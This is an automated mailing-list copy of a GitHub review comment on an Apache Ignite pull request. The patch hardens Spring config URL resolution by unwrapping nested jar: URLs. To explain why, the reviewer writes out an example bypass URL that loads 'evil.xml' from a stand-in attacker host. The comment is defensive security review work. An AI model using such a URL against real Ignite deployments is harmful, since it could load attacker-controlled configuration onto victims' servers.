animovscw commented on code in PR #13382:
URL: https://github.com/apache/ignite/pull/13382#discussion_r3765378238


##########
modules/core/src/main/java/org/apache/ignite/internal/util/IgniteUtils.java:
##########
@@ -2558,12 +2566,72 @@ public static boolean mkdirs(File dir) {
     public static URL resolveSpringUrl(String springCfgPath) throws 
IgniteCheckedException {
         A.notNull(springCfgPath, "springCfgPath");
 
+        String prop = 
IgniteSystemProperties.IGNITE_ALLOW_REMOTE_SPRING_CFG_URL;
+
         URL url;
 
         try {
             url = new URL(springCfgPath);
+
+            URL cfgUrl = url;
+
+            String scheme = cfgUrl.getProtocol().toLowerCase(Locale.ROOT);
+
+            // Unwrap jar:<nested_url>!/path (potentially nested) to avoid 
bypassing remote-scheme checks.
+            while ("jar".equals(scheme)) {
+                String file = cfgUrl.getFile();
+
+                int sep = file.indexOf("!/");
+
+                if (sep <= 0)
+                    break;
+
+                try {
+                    cfgUrl = new URL(file.substring(0, sep));
+                    scheme = cfgUrl.getProtocol().toLowerCase(Locale.ROOT);
+                }
+                catch (MalformedURLException ignored) {
+                    break;
+                }
+            }

Review Comment:
   The tests passed because there are no tests that cover this code. 
   
   Initially, this was a Copilot recommendation — without unwrap, an attacker 
can bypass all our defenses like this:
   `jdbc:ignite:cfg://jar:http://attacker.com/evil.xml!/cfg.xml`



-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: [email protected]

For queries about this service, please contact Infrastructure at:
[email protected]

Reply via email to